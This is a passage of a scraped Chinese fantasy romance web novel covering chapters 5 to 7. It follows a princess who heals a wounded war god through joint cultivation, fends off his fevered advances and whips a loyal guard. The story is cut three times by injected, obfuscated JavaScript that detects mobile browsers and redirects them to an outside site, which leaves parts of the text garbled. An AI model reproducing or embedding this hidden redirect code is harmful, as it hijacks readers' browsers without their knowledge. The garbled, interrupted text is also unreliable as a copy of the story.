九昭要说的便是扶胥的伤情,便飞快摇了摇头:“我们两人方下天辇,正在闲话告别之时,他忽然晕倒在地,我输入一丝仙力查看他有何不妥,却发现他竟是为凤凰真血的力量所伤。” 闻听描述,丹曛一副意料中的模样,这令九昭更加怀疑。 “姑姑——” 她唤声出口,丹曛又做出肃然的神色,压低声音:“臣奉帝座口谕而来,九昭神姬听令!” 九昭只得暂停己言,洗耳恭听。 “战神扶胥在神魔交战中,被身秉凤凰真血之力的魔族所伤,元神动荡,灵台不稳,念及三清天唯有九昭神姬一人身怀凤凰真血,特令九昭神姬与扶胥上神合修,协助其恢复伤势。” 丹曛的话拆分开来,九昭字字皆懂。 组合在一起,却变成她听不懂的含义。 “合、合修,我与扶胥?!” 这个词语在她舌尖滚了一圈,她的耳廓先火辣辣地热了起来。 丹曛年长,观九昭反应,知晓其记恨扶胥冷落,羞赧之余,更有诸多不情愿。 便握住九昭广袖下半蜷的左手在掌心,推心置腹道:“殿下,扶胥上神法力高强,是我三清天不可缺少的战力,何况来日您得登帝位,也需要他的辅佐和支持——仅是合修而已,您抛开众仙赋予其的诸多名义,只将它当做一次普通的疗伤过程,没什么大不了的。” “若殿下实在不愿,帝座交代过,也请您细想想五百年前,扶胥上神为您做过的一切。” …… 丹曛说完这些,也并未逼迫九昭当场答应,自行回去复命了。 只留下满腔思绪、左右游移的九昭缓步朝侧殿走去。 穿过开阔葱茏的宫苑前庭,等候着她归返的朱映赶了上来,向她禀告扶胥的初步情况:“殿下,臣请了常驻离恨天的医官们进行初步诊断,他们皆言上神受伤颇重,且体内有一股古怪而强大的力量作祟,他们不知是何来源,且仙力不足,无法为扶胥上神施术治疗。” 凤凰真血举世罕见,天生具有伪装之力,不是凤族与同源者无法辨认,寻常仙官下神自然不会认得。且就算认得,哪怕神帝亲至,为扶胥治疗的效果都无法比与她合修更好。 九昭表情复杂地摆了摆手:“叫他们都退下吧,本殿要亲自进去照看扶胥。” 朱映只以为自己恍惚间出现了幻觉,下意识喃喃道:“您说、您要进去照看上神……?” 能做出这个决定,九昭也是下了很大的决心。 面对朱映的疑惑,她并不回答,在门前徐徐站定。 望着殿内围作一团的医官告退离去,才一拍朱映肩膀:“你是这离恨天的统领仙官,也是本殿最看重的心腹,本殿进去后,你就守在门外,不管谁来都不能打扰,否则,本殿唯你是问。” …… 殿门沉沉闭合。 也带走了这偌大殿宇中的泰半光亮。 紧绷双目的扶胥躺在侧殿的寝床上,失去他的压制,那萦绕周身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918048|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本浅薄的黑气浓郁不少。 九昭并起两指,指尖一转,盖在他身上的被褥瞬间退到一旁,而全无意识的扶胥也如同个木偶娃娃般由躺改坐,整个人呈现盘腿打坐的姿势,占据大床的一侧。 九昭踢掉锦履,抬步上床。 熟悉的动作,熟悉的姿态,让纷呈往事如同小锤般在她心口敲击作响。 当初她被兰祁退婚羞辱,气得心头血喷出,元神大损。 是神帝派遣在天生具有疗愈天赋的木属性中,修为最高的扶胥来为她恢复伤势。 这整个治疗的过程,耗费了扶胥一千年的时光。 都说忘掉一段感情的最好方式,就是开启一段新的感情,这一千年里,她也从最开始的心灰意冷,敷衍抗拒,到后来的欣然接受、隐含期待,甚至同意了神帝重新颁布的她与扶胥的婚令。 他们起初的关系,也没有到如今这个地步。 扶胥固然冷峻寡言,却着实是个细心的人。 两人相处期间,他凭借无声的体贴,一步步纾解着九昭的心结。 在即将成婚的前一百年,终于放下难堪旧情的九昭,以未婚夫妻的名义提出要与他合修。 合修,即为合灵同修。 在倡导清心寡欲的三清天,这已经算是夫妻伴侣间最为热切的亲近方式。 扶胥没有拒绝。 他不仅通过合修彻底修复了九昭受损的元神,更给予她自己的力量,指引她一同修炼。 一百年过去,九昭的仙力突飞猛进,远胜过未受伤的从前。 他们。 曾经是也很好、很好的。 好到光阴逝去至今,九昭都无法接受那些扶胥对自己的好,只是奉了父神的天令。 丹曛的话将尘封的往昔重新揭开,九昭目光复杂地瞪着扶胥昏沉的面孔,口中恨恨:“父神让我仔细想想你对我的好……可我凭什么要想,我为君,你为臣,你为本殿去死都是应该的!” “何况,何况……只是耗费自己的神力,为本殿治伤……” 她说到后面仍然嘴硬。 双手却十分诚实地相交结印,做出合修的手势。 属于凤凰真血的赤色辉光自她的灵台溢出,钻入扶胥苍白的额心当中,随着覆满整个身体之后,那团赤色大涨,将他们相视对坐的身影彻底吞没。 外界的尘嚣一瞬间尽数远离。 九昭闭合双目,灵台中却更加具象化地映出了扶胥此刻的状态。 契阔诀发挥作用,他的身体以无比欢迎的姿态接纳着她的仙力的融入。 彼此追逐,相互缠绕。 所到之处,被掺杂凤凰真血的魔气灼伤的地方,如干涸皲裂的土地般经涓涓细流充盈。 九昭加大了仙力的输出。 那重伤扶胥的作恶者力量强大,她唯有竭尽全力才能堪堪将凤凰真血的气息中和。 汗水自白皙的额头涔涔淌落。 两方同源力量的角逐,将结界内的温度越来越热。 九昭全神贯注,唯恐一个不小心没消弭扶胥体内的真血神力,自己也被反噬受伤。 灵台中扶胥的相貌逐渐模糊,取而代之的是两股此消彼长的烈焰。 就在这个时候,坐在九昭对面的青年,却无声无息睁开了双眼。 他冷色调的肌肤显出不正常的潮红状态,漆黑的眼底同样有冲天火光映照。 镶嵌在脖颈中央的喉结滑动一瞬后,他扩散的瞳孔迟疑逡巡着,目光最终落在九昭的唇上。 5. 第5章 九昭也发觉热得有点不太对劲。 这种热并非她的身体受到神力亦或魔气的灼烧。 更像是某种从体内流淌出来的火苗,急迫地想要溶解什么,或是点燃什么。 九昭益发无所适从。 迫不得已,她睁开双眼,试图将注意力从那团炽热的桎梏中抽离些许。 然而,重获视野后的场景,却让九昭吓得屏息。 不知何时,伤重昏迷的扶胥竟也睁开了眼睛,目光直勾勾地盯着她脸孔某处。 他似乎同样遭受着异火的煎熬,俊面酡烧一片,两片平时看起来颜色浅淡的薄唇也透着红。 过于直白的视线仿佛欲念的具象化,平添前所未有的侵略性。 九昭头皮一阵发麻,与之相反的,呈盘坐姿势的小腿肚却发起软来。 她不知该回望扶胥强撑气势,还是该侧开面孔避免对视,讷讷道:“你醒了……” 九昭的话没有得到回应。 在静等片刻后,她只好再度抬起双眸。 这才发现,扶胥从始至终盯住不放的,竟是自己的嘴唇。 其中不言而喻的意味加重九昭的羞耻感,她细若蚊蝇的音调拔高:“你、你在看哪里?!” 扶胥依旧不言不语。 耳畔滑入九昭的娇嗔,他涣散的瞳孔倏忽拥有目标。拢修合于一处的手臂也伸了出来,准确无误捏住九昭结阵掐诀的手指——大了一号的、属于成年男性的手,将九昭左手紧紧包入掌心,期间还伴随着指甲划过指缝,时而收拢指节,时而摩挲敏感掌心肌肤的狎弄。 九昭何时受过这样的对待。 那只手的力道不大,她却怎样挣扎都逃离不开。 五百年前,又不是没有合修过—— 那时候扶胥是如何循规蹈矩,连多余的视线交汇也几乎没有。 今日、今日他是怎么了? 百思不得其解之下,一股扶胥疯了的荒唐感在她脑海萌发。 而九昭刹那的走神,更引起扶胥的不满。 他手掌向上,探入宽大广袖,一路与九昭颤抖的小臂相贴,而后将她猛地朝自己这头一拉,在九昭惊叫一声紧紧贴上他身躯的同时,他前倾胸膛,将她压倒在寝床侧畔的雕花栏架上。 衣袍被褥交绕,黑的黑,红的红。 色彩揉碎于一处,如同两条缠绵的长蛇。 合修的阵法断了。 四周的赤色结界仍在忠诚地发挥着蔽声蔽感的作用。 九昭使不出力,无法通知守在殿外的朱映,只得既羞且慌地望着扶胥的面孔悬于自己面上。 迟钝如她,此刻也发现了扶胥的不正常。 他星辉般的眼眸不复平日的清明沉静,如同焚业海那些最低接的妖魔一般,全凭本能行事。 就算受了重伤,在力量上,自己也绝无同他对抗的可能。 九昭紧张地吞咽了一下喉咙,半张的口腔已被情火烧灼到干涸一片。 更不妙的是,她的理智之外,心头亦有一道蠢蠢欲动的声音,在叫嚣着对于扶胥的渴望。 按照这种情况下去。 搞不好,今日就要在这张床上—— 九昭怀着一丝希望冷嘲热讽起来:“你、你不是讨厌我吗?” “现在又是在做什么?” “亲吻一个讨厌的女子,也不知道等你真正清醒了会是什么样的心情?!” 九昭指责的尾音拖长,怯怯发着抖,剥掉三清天神姬这道极具震慑力的光耀外衣,她陷在扶胥的臂弯里,嘴上的倔强不屈,更接近于床笫之间欲拒还迎的情趣。 充耳不闻的扶胥轻松凭借体型的差距,一手抓住她的两只手腕高举过头,下半身则牢牢压制住她胡乱踢蹬的双腿,像是苦寻良久的榫终于找到能够同他合为一体的卯。 就在那张薄唇即将落下来的一刻,九昭紧闭双眼破罐子破摔道:“别让本殿更加恨你!” 这句话也不过是最后的尝试。 熊熊的情火快要将整副神志吞噬。 九昭倒没什么一定要将身子留给心爱之人的情结。 早在几千年前,她就因为好奇,与尚未堕魔,也没有成为她未婚夫的兰祁有过初次尝试。 如果一定要发生,能够吸收他的部分神力,也不算是件太坏的事情…… 渴望压过理智,九昭的内心朦朦胧胧浮现出说服自身的谬言。 然而,想象中的场景不曾到来。 在外强中干的威胁脱口而出后,扶胥仅是压制着她,没有进行下一步。 九昭软着身子,说不清自己的动作究竟是抗拒还是逢迎,难受地蹭乱了他的衣衫。 快滚。 别走。 两道截然相反的命令在她的喉咙深处翻来覆去。 就在快要抵抗不住的时候,她倏忽感觉到未被布料包裹的肌肤一凉—— 再回过神来,打出生起就被母神亲手挂在脖间,几万年不曾离身的长乐命牌已然离开胸前。 啧啧的水声,紧随其后响起。 扶胥做了什么…… 九昭的脑海顿时炸开火花。 能发出这种声响,他、他是将那刻纹为凤凰的命牌含进了嘴里—— 如此狎昵的行径,九昭简直闻所未闻。 “扶胥,你……” 没有镜子,她也知晓自己的脸红得厉害,发出的抗拒声如春水般潺潺无力。 咬住命牌的一角,那举止放浪形骸的上神垂眸凝视她。 如有实质的视线穿透皮肉,照进神魂,只一瞬,就叫情火彻底烧断心弦。 九昭情不自禁仰高脖颈,试图捕获他的嘴唇。 在两人唇齿即将贴紧的前夕,一股凉如冷泉的神力骤然涌进她的灵台,仅是照面就消解掉大半令人目眩神迷的热意。 湿红的下睑附着泪花,九昭迷蒙睁眼,在一片模糊天地里,见命牌仍被扶胥含在口中,其上的禁制被紧急触动,自内散发的、源源不断的神力击退情热,保护了自己。 她恢复清醒,可扶胥还是那副样子。 不知是否被邪火控制了大脑,他似乎将命牌当成了九昭,薄唇不断做出吻咬的行径。 九昭凝神注视两瞬,又羞又气,右手竭尽全力从扶胥的钳制中挣脱开来,顺势高高扬起。 啪! 极清脆响亮的耳光声过后,扶胥被她打得侧偏面孔。 九昭一面催动命牌的力量冷却扶胥高热的头脑,一面斥骂道:“你胆敢对本殿放肆!” 行动总是比言语更加奏效。 在神力和疼痛的双重作用下,扶胥黑黢黢的涣散瞳孔显出一丝清醒的亮光。 “神姬殿下……” 他低声唤出九昭的封号,四肢沉甸甸的,抬不起来,只能趔趄着向后撤去。 “你醒了就好,本殿总有一笔帐要与你算!” 九昭胸口上下起伏,不住喘着气,然而等到扶胥的体温彻底远离她的身体,她意欲再斥责几句,忽见扶胥手掌冒出青绿神光,接着并指如刀,狠狠捅进自己的左下腹中去。 “!!” “扶胥,你在做什么?!” 不再引诱于她,就要开始自残吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918049|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 九昭气也顾不上喘匀,骇得喉咙都抖索起来。 鲜血喷洒而出,扶胥闷哼一声,脸上的酡红半褪,神色却十分平静。 他勉强靠在大床的另一角,催促道:“臣的伤势不敢劳烦殿下,这一次臣在昏迷当中没能阻止,今后殿下请勿又行自作主张之举——眼下趁臣自伤维持清醒,殿下赶紧撤掉结界离开吧。” 自己好心与他合修疗伤。 他还差点强迫自己。 这会儿恢复过来,半分羞愧道歉没有,还敢沉着脸出言讥讽—— 九昭抬手指着扶胥,连声说了几个好:“什么自作主张,本殿看‘一厢情愿’四个字才是你真正想说的!你以为是本殿对你旧情难忘才救你的吗?一切只不过父命难违四个字而已—— “扶胥,你别太把自己当回事!” 一通臭骂,她撤掉结界,连鞋也没穿,气得提起裙摆噔噔跑了出去。 扶胥望着她的背影,试图说些什么,又一口血自唇角溢出,不受控制昏沉了过去。 …… 殿门开合,光着脚的九昭出现在朱映眼前。 在她衣鬓凌乱的周身,朱映捕捉到一丝合修遗留的气息。 “殿下——” 后头的话没说完,朱映倏忽透过九昭身子与殿门的缝隙,窥见殿内鲜血满床的场景。 “这是怎么了?” 一切过于惊悚。 沉稳如朱映也禁不住眸光震动。 九昭却咬着下唇不说话,撇开他一步一步走回自己居住的主殿。 两边都得罪不起,但明显受伤垂危的扶胥更加严重一些。朱映连忙唤来女婢仙官们再次入侧殿给扶胥收拾医治,又严令他们不准将今天在殿内看到的景象向外界泄露半个字。 处理完扶胥的事,他才把全身心放在九昭这头。 当他推门进入常曦主殿时,博物架上摆放的稀世珍宝已经被九昭砸了一通。 目光触及她高举在手的一方砚台时,朱映迭声制止:“殿下别!那是神帝送您的银墨砚!” 九昭沉沉瞥他一眼,又记起确有其事,才把这方珍贵的砚台随手丢在一旁,面孔上余怒未消:“谁准你穿着女装变回男声的,不阴不阳的,也不嫌自己恶心!” “臣是殿下的统领仙官,一切都是为了殿下高兴。” “不阴不阳也没什么,这副滑稽姿态若能为殿下纾解心情,那便是值得的。” 朱映并不在意九昭对自己的评价。 想当年他尊神帝天令,到九昭身边担负护卫职责,又被九昭以男身近身侍奉多有不便为由,强命化作女子示于人前时,他就做好了九昭恣意乖劣,凡事都不要与她多做计较的心理准备。 奈何往常必定起效的法子,今日意外失灵。 “本殿没耐性听你贫嘴!” 九昭双眼俱是冷意,命令脱口而出,“你去传本殿的法旨,让扶胥滚回辟蒙宫,从此以后再也不许踏入本殿的离恨天,本殿等下就去面见父神,让他解除本殿和扶胥的契阔诀!” 变回女声的朱映为难地垂着眼睛:“回禀殿下,臣观扶胥上神左腹处血流不止,新伤旧伤夹杂在一起,若是此刻贸然移动,恐怕有性命之忧——” “那跟本殿有什么关系?” “他就是死也给我死到常曦殿外去!” 一声断然怒喝过后,九昭掌心赤光大放,本命武器初具雏形。 蕴着凌厉仙术的长鞭指向朱映,她柳眉倒竖,一字一句,“若你还认本殿为主,就领命前去将扶胥赶出离恨天,否则你们两个,本殿一、个、不、留!” 6. 第6章 九昭动了真怒,朱映不敢再不当回事。 他在九昭的逼视中当即肃穆面容,敛衽应声离去。 九昭这才觉得气顺了些。 她坐在寝殿,取下脖颈上的命牌,用清洁术来来回回洗了八次,心里的膈应略略平息。 她又盘算着想要亲眼见证扶胥被人丢出常曦殿的悲惨模样,于是倒提长鞭,来到侧殿。 结果出乎她的意料。 侧殿的情形依旧“风平浪静”。 至于为何是打上引号的风平浪静—— 在捅腹自伤后,扶胥的情况更严重了,不仅气息微弱,腹部更是血流不止,医官侍女们跑进跑出,换水的换水,止血的止血,每一个的脸色肉眼可见沉重异常。 扶胥重伤晕倒,生死不知,皆在九昭的预料内。 可她没想到的是,朱映胆敢违抗自己的命令。 他负手立于殿旁,见到九昭提着鞭子的身影,连忙一个箭步拦在门前,阻止她进去。 “殿下、殿下,请您三思—— “违抗您的命令并非臣之所愿,只是扶胥上神才刚得胜归来,帝座赞誉其为有功之臣,如果今日我们真的将他扔出常曦殿,来日三清天群情激奋,到时候臣害怕帝座也会护不住您!” 朱映张开手臂,不给九昭留出任何闯入的空隙。 他劝诫得苦口婆心,只恨不能挖出自己的心脏来作为证明。 瞧见这等架势,原本疾步来去的旁人也瑟缩着躲在殿内,生怕出去就被九昭的怒火波及。 然而这回九昭却不想跟他废话了。 她扬起长鞭用力一击地面,原本平滑光洁的庭院砖石,立刻被抽出一道蛛网般的裂痕。 “你知道为何本宫要给自己的本命仙器取名为打神鞭吗?” 随着语调阴恻的问询出口,她恶狠狠一鞭子抽了过去,“上神本宫都打得,更何况你!” 一阵破风巨响—— 朱映没有躲闪也没有施法抵抗,硬生生被仙光凌冽的长鞭抽裂了衣衫。 他本人亦被这柄神帝亲手锻造的武器,抽得向后踉跄半步,又挺起肩膀继续挡在殿前。 其实能够成为三清天储君的贴身近卫,足以见得朱映的仙力高超。 九昭也做好了与他纠缠的准备。 这见血的一鞭叫她眸光一顿,随即愤怒如海,汹涌攀升。 “你让不让开?” 她问道。 朱映拢了拢被鲜血洇湿的衣衫,缓慢摇头。 九昭咬牙切齿,又是一鞭。 “我问你,你让不让?” “臣不能让。” 啪! 又是一鞭。 啪、啪、啪! 九昭一共问了三遍,朱映俱是摇头。 血液将他身上浅色的布料染成深红,而他的唇角,亦淌下一抹蜿蜒的痕迹。 九昭只觉得自己被架了上去。 若是今日停手,难免威严扫地。 到最后,凶性大起的她索性不再询问,一鞭又一鞭,誓要将朱映打到俯首退让。 就在第十鞭将要落下之时,离恨天浩渺的云端终于传来一抹纶音:“九昭,住手。” 与施加在礼服上的神术如出一辙的华光坠落在朱映面前,嗡鸣着急速扩大成一道有形屏障。 屏障之后,等来救兵的朱映支撑不住跪倒在地。 对方伤得这么严重,九昭的心脏微微抽搐起来。 但尊严被辱的愤恼迫使她不再多看一眼,只是抬头望着神帝那如天地般阔大的法相投影,勉强收起打神鞭,躬身行礼:“九昭见过父神——父神怎么来了?” “不必多问,本座在三清天紫微宫等你,你速来觐见。” “……是。” 万般事宜,都抵不过三清天主君的命令。 九昭只得暂时撇开常曦殿的烂摊子,闪身前往紫微宫。 穿过寂静的宫庭,她噤声踏入殿内,两扇金光闪闪的参天大门在身后闭合。 神帝议事的场所虽被称为紫微宫,但内里更接近于一个缩小版的三清天,共分为三层,第一层为众仙林立恭听之地,第二层为参政奏禀之地,至于第三层,则是神帝的垂旒御座。 四下无人,九昭站在第二层跪下大声请安,却被一朵云载托起来,飘向紫微宫的最高处。 旒帘微掀,她快步跳下浮云,入目便是神帝一如既往的和蔼面容。 “昭儿过来。” 他侧开身体,拍了拍足以容下双人有余的御座。 这唤作旁人都会惶恐下跪的动作,换来九昭毫不迟疑的侧身一坐。 “父神,女儿不想再跟扶胥过下去。” 神帝面前,九昭置身常曦殿的疾言厉色皆去,她拖长音调,拉着神帝的衣袖左右摇晃。 “为何?” 刚才九昭将朱映抽得浑身是血的情形,似乎并不被神帝放在眼里,他抬手抚平九昭散乱的额发,含笑打趣,“为父怎么记得当初有人说过,扶胥长得好看又厉害,与他成婚自己不吃亏。” “当时是当时,今日是今日。 “已经过了一千五百年了,女儿改变主意了……” 合修时发生的情形,九昭不好说与神帝知晓,只能垂着头含糊嘟囔。 “倘若你想清楚了,为父自会为你做主。”神帝没有驳斥九昭头脑发热的请求,顺着她答应一句,又话锋一转,“不过对于扶胥的伤情,昭儿你没有任何想问的吗?” 被神帝提醒,九昭才想起自己给扶胥做初步检查时,确实有许多疑惑未得到答案。 她的不虞收敛大半,思忖着说道:“的确是有问题想求得父神解惑……女儿的仙气曾进入过扶胥的身体,他的内伤十分蹊跷,竟不是全然被魔气侵蚀,上面隐隐有凤凰真血的气息。” “莫非无日渊中镇压的罪神巫劭逃脱了禁制,重返焚业海领兵作恶?” 神帝摇头:“巫劭早已神识泯灭,成为一具行尸走肉,扶胥受伤不是他的所作所为。焚业海内有人拥有另一半凤凰真血之事仍然是个秘密,待到合适的时机,为父自会同你提起。” “只是昭儿,另外一件事你需知晓。 “扶胥受魔族埋伏重伤,是为了你。” “我?” 九昭茫然看着神帝。 神帝言简意赅,只用几句话就交代清楚事情的原委。 神魔两族交战,扶胥运筹百年,取得了最终胜利。在最后一场追击逃兵的战争里,眼见即将深入焚业海业火肆虐的腹地,他原想率兵回归,却意外捕捉到战争中始终蛰伏未出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918050|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰祁踪迹。 兰祁曾经悔婚羞辱九昭,扶胥身为她的王夫,自然不能坐视仇敌来去。他顾虑到仙阶低等的士兵们无法忍受业火的灼烧,魔界的逃兵亦所剩无几,便独自追逐兰祁而去,不料中了埋伏。 一番恶战,兰祁被他打伤。 他也中了与木属性最为相克的凤凰真血之力。 “……他可是编了个故事来欺骗父神?女儿在与丹曛姑姑恳谈之后,又不是没有施展真血之力与他合修,他好不容易恢复清醒,非但不感谢女儿,还责怪我自作多情!” 九昭嘴上说着不信,但到底清楚,神帝是最疼爱她的父亲,断没有偏帮扶胥的道理。 神帝谆谆道:“你母神仙逝前将一身凤凰真血传给了你,可你这几万年来不曾勤加修炼,一直无法晋升上神之位,故而也不能完全掌握真血神力。扶胥归来时,本座曾跟他提及与你合修加快伤势恢复,却被他拒绝了。想来是担心合修过程里,你一不小心被神力反噬,危机自身。” 九昭的脾气来得快,去得也快。 听完神帝解释,心头面对扶胥的恨意消解了几分。 只是由于过去的种种,她依旧心怀芥蒂,便抱着神帝的衣袖,小女儿似地依偎在他肩头,撒娇嘟囔着:“女儿生平最讨厌不好好说话的人,五百年前扶胥明明有嘴非要不告而别,像躲瘟神一般躲我到神魔边境,五百年后回来,女儿好意助他恢复伤势,他又处处甩脸色给我看—— “如此性格不和,女儿实在难以同他继续相处下去,做一对相敬如宾的夫妻。” 九昭的心里话,只会对着最信赖的家人诉说。 前半段还是惯常的、高高在上的语气,到后半段,声量渐低,隐现落寞。 自己的女儿婚姻不睦,神帝如何不心疼。 他深深叹了口气:“这也怪为父,这几万年来魔界不平静,日常要处理的事务太多,开始想着兰祁……想着扶胥为人端持,天赋出众,能作为你的王夫陪伴在你身边,尽辅佐储君之责。” “父神—— “女儿说过,女儿向往自由,并不想当这个未来神帝。” 九昭重复多年以前与神帝谈心时的想法,她放软声线,俯下颈子依靠着神帝,如同身处暴风中的雏鸟依靠着为其展开羽翼遮蔽的亲鸟,“父神寿与天齐,何愁不能统治三清天万万载,女儿只想做个永远长不大的神姬,承欢膝下,好好孝顺父神。” 望着九昭和妻子相似的长相,听着她依恋的言语,神帝只觉心化作一滩柔软的水。 是啊,神的寿命接近永恒。 九昭才不过三万余岁,这个年纪放在三清天中,还是堪堪成年的孩子。 他尚有无数时间守护九昭,教导她为君之道,看着她矫然成长。 四千五百年前兰祁的背叛,是他识人不清,耽误了九昭。 倘若扶胥在接下来的日子里还是不行—— 神帝的盘算在脑海转圜一圈,手上有一下没一下地轻拍着九昭的肩膀,许诺道:“实在无法相处,为父也不会勉强你同扶胥在一起,只是昭儿,扶胥常年护卫三清天的安宁,更是自巫劭之后最强大的战神,你要答应父神,尽心替扶胥清除凤凰真血之秽。 “否则单凭他自己,就算伤势勉强恢复,也会留下灼骨烧筋的后遗症。” 7. 第7章 一番父女面谈,神帝说了许多。 他告诉九昭,为扶胥疗伤并非只是损耗她的仙元。 只要顺利炼化他体内的真血之气,九昭的仙力也会得到突破提升。 聆听完神帝的教诲,又陪他用了顿晚膳,九昭才施施然乘坐天辇返回。 一路上,她心想,既然扶胥出言拒绝是为了自己着想,那自己也犯不着跟个伤患过不去,就暂时将他安置在侧殿,等到他醒过来诚恳认错,再决定后头是否要跟他继续合修。 脚尖踩上离恨天的土地,来迎接九昭的是她的贴身女婢绛玉。 “殿下恕罪,朱映姐姐受伤颇重,这段时间恐怕不能经常在您身边侍奉了。” 理顺了扶胥的事情,差点忘了还有朱映这一遭。 绛玉的话令九昭有些于心不忍。 她面上不显,淡淡嗯了一声,问起扶胥的情况,绛玉回答:“扶胥上神还没有醒过来,侧殿那边有缃璧和众位医官在守着,若上神醒了,缃璧会第一时间禀告于您。” 缃璧是九昭的另一位贴身侍女。 相比活泼多话的绛玉,她的性格更加沉稳,处事也细密周全。 九昭并不担心有缃璧在,侧殿能出现什么意外,便跳过扶胥,问起另一件要紧事:“本殿的私库钥匙可在你手中?拿出来,本殿要进私库找点东西。” 绛玉自腰带上解下钥匙,赔着笑脸:“殿下要去私库找什么?奴婢熟悉,奴婢陪您去。” 去私库,当然是找药材。 这是用膳期间神帝叮嘱九昭的另一件事。 三清天的医官大多不识凤凰真血,无法对症下药,而出于不可说的原因,此事还不能在众仙面前公开,这便需要九昭亲自配齐需要用到的仙植,才能加快扶胥的伤势恢复。 九昭没有拒绝绛玉的请求。 她带绛玉来到私库,掏出神帝给的清单,让绛玉和自己一起把上面列出的药材找齐。 在物力方面,九昭从不吝啬,但凡私库里有的东西,她全部拿了出来。 小山那么高的珍贵药材堆积在地上,灵光闪过,被九昭的储物戒收入其中,她将戒指丢给绛玉:“你将里面的仙植和清单转交给医官,命他们熬出药来,喂扶胥喝下。” “是。” 绛玉答应着离去。 目送对方的身影离开私库,九昭迟疑片刻,又转身翻找起治疗外伤的仙药。 …… 三清天没有四季之分,却有如同人间般的日升月落。 夜色四合,行道两侧应时亮起无数莲花琉璃灯,将整个常曦殿装点出另一番灿烂盛景。 一片静谧里,九昭掌心攥着两瓶药,走到朱映独自居住的小院门口。 她犹豫着要不要进去,寝居的房门却被人推了开来。 恢复男身的朱映披着罩衫,正吃力端着一盆染红的血水,似乎刚刚为自己擦洗完毕。 目光触及徘徊在院落外的九昭,朱映愣怔过后就想问安,只是端着水盆的双手有些无措。 九昭见状,摆手示意他免礼。 既被发现,她索性大方点明来意:“本殿来看看你,顺便带了些伤药。” 朱映越发意外。 他将血水倒在旁边种花的土地上,快步上前将九昭迎进屋子:“夜晚风露重,殿下请进。” 进去前,九昭余光不经意掠过那片土地,见被血水浇过之处,有好似萤火的微光粼粼。 朱映的肩膀手臂都受了伤,不方便使力。 不过简单的端水泼水动作,放下水盆后,他的手腕仍然在不受控制的发抖。 九昭自是清楚父神亲赠打神鞭的威力,她坐在床旁方凳上,将药递过去,低声说:“都伤成这样了,就别再勉强自己,你是我常曦殿的统领仙官,没两个女婢服侍,实在有失身份。” “殿下,虽然臣常年穿着女装,但到底是男子,让女婢侍奉,不合规矩。 “……何况,也不能叫人发现臣的真实性别。” 朱映拒绝的回答同当年如出一辙,这让原本就是没话找话的九昭,窘迫地摸了摸鼻尖。 气氛就要安静下去,朱映又将注意力转回药上,他端详瓶身贴着的药名一阵,抬起头真心实意地看着九昭:“这些药都是南陵进奉的上品仙药,臣再次叩谢殿下的恩赏。” 九昭长到现在,几乎没有主动示好过任何人,顺着朱映的话,不知该如何表达关切的她再度无师自通想出新招:“你手臂受伤严重,使不出力气,不如让本殿帮你上药。” 话音刚落,她不由分说抢过朱映手里的药。 “殿、殿下,这更加不合规矩,臣、臣是男子……” 这下,饶是心思机敏的朱映也结巴起来。 “那又怎样?在本殿心里,你同女子没有区别。若是男身害羞,你变回女体不就好了吗?” 九昭理所当然地半昂起头。 她的话让朱映悄然苦笑一瞬,连同一开始的赧然也消减不少——也对,在九昭的心里,他只是一个下臣,一件服侍她的工具,和工具讲男女大防,怪不得她露出不可思议的表情。 朱映暗自讪讪,说干就干的九昭却行动起来。 她拖着方凳靠近,直直拉开朱映身上的衣带,一具清瘦但线条分明的男性躯体映入眼帘。 ……他的确是男子,身体结构和女子不同。 九昭勾着衣袖的手指微顿,直面朱映为男性的事实,比她想象中好像冲击力更大些。 她垂落目光,脸颊有些发烫。 但为着和朱映消融嫌隙,她倒出药瓶里的凝露,一点一点抹上被自己打伤的肌肤。 “你、你把里衣再脱些下来,肩膀和手臂的部分本殿涂不到。” “殿下,好殿下,要不臣自己来吧……倘若被人看到,臣怕是明天就要受天雷刑罚了……” “他们都守在扶胥那里,没人跟着本殿来,你放心。” “那您稍微轻一点……” 被九昭粗手笨脚地揉按几次,原本咬牙忍耐的朱映禁不住嘶痛出声。 “没、没事吧?那本殿轻些——” 初次涂药的九昭一时看脸,一时看伤,只恨不能多长几只眼睛,把朱映密不透风地围起来。 涂到锁骨上的鞭痕时,她猛地站起踩住了自己的裙摆,差点将朱映扑倒在床。 她手忙脚乱的模样,平添几分拙稚的娇憨。 朱映看在眼里,又好笑又局促之余,难捱的痛楚倒是好受了几分。 还是个赤子心肠的孩子。 几万年来,作为父亲的神帝经常缺席,她一路跌跌撞撞至今,性格的缺陷总得有人去包容。 这样想,朱映内心最后一点怒其不争的情绪也消散了。 他望着向来高傲的九昭,低头涂药时露出的毛茸茸发旋,唇角不自觉勾起。 